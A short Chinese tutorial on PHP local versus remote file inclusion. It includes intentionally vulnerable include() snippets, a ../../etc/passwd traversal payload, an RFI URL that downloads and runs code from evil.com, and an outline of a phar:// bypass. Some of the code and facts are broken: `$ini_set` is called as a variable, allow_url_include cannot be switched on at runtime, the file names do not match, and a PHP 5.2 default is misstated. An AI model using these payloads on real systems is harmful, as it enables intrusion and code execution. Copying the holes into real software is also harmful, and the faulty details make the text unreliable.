本地文件包含(lfi)和远程文件包含(rfi)的核心区别在于被包含的文件来源:lfi 读取的是服务器本地磁盘上的文件,而 rfi 尝试从外部 url 加载并执行代码。要利用 lfi,攻击者通常需要知道目标服务器的内部路径结构;而要触发 rfi,则要求服务器配置允许通过 `include` 或 `require` 加载远程资源。如果服务器禁用了 `allow_url_include`,rfi 将失效,但 lfi 依然可能成功。

LFI 如何利用相对路径读取敏感文件
LFI 漏洞利用的关键在于构造能够穿越目录层级的输入参数,从而访问到配置文件、日志文件或源代码。当应用程序直接将用户输入的变量传递给文件包含函数时,攻击者可以通过注入 `../` 序列来向上跳转目录。例如,在 Linux 系统中,常见的目标是 `/etc/passwd` 或 Web 根目录下的 `.env` 文件。这种攻击不需要远程服务器支持,只要存在路径遍历即可。

index.php <?php $file = $_GET['page'] ?? 'home.php'; // 未对 $file 进行任何过滤,直接包含 include($file); ?> # 预期结果 # 访问 index.php?page=../../etc/passwd # 服务器会输出 /etc/passwd 的内容
RFI 依赖的配置条件与 PHP 版本差异
RFI 的成功执行高度依赖于 PHP 的运行时配置。在 PHP 5.2 之前,默认情况下 `allow_url_fopen` 和 `allow_url_include` 均为开启状态,这使得 RFI 极易触发。但在现代 PHP 版本中,`allow_url_include` 默认已被禁用,这意味着即使存在代码包含逻辑,攻击者也无法直接通过 HTTP URL 包含远程脚本。此时,攻击者可能需要寻找其他替代方案,如利用 `phar://` 协议进行反序列化攻击,或者寻找开启了 `allow_url_include` 的特殊环境。

config.php
<?php // 模拟旧版 PHP 环境或特定配置
$ini_set('allow_url_include', 'On');
$file = $_GET['url'];
include($file);
?>
# 预期结果
# 访问 index.php?url=http://evil.com/shell.txt
# 服务器会下载并执行 evil.com 上的代码
使用 phar:// 协议绕过 allow_url_include 限制
当 `allow_url_include` 被关闭时,传统的 RFI 攻击路径被阻断,但攻击者可以利用 PHP 的流包装器 `phar://` 来实现类似的效果。PHAR 文件是 PHP 的归档格式,类似于 Java 的 JAR 文件。通过将恶意代码打包进 PHAR 文件并上传到服务器,攻击者可以构造包含 `phar:///path/to/malicious.phar` 的请求。由于 `phar://` 被视为本地文件协议,它不受 `allow_url_include` 的限制,从而实现了“伪 RFI”的效果,即通过本地文件包含机制执行远程上传的恶意载荷。











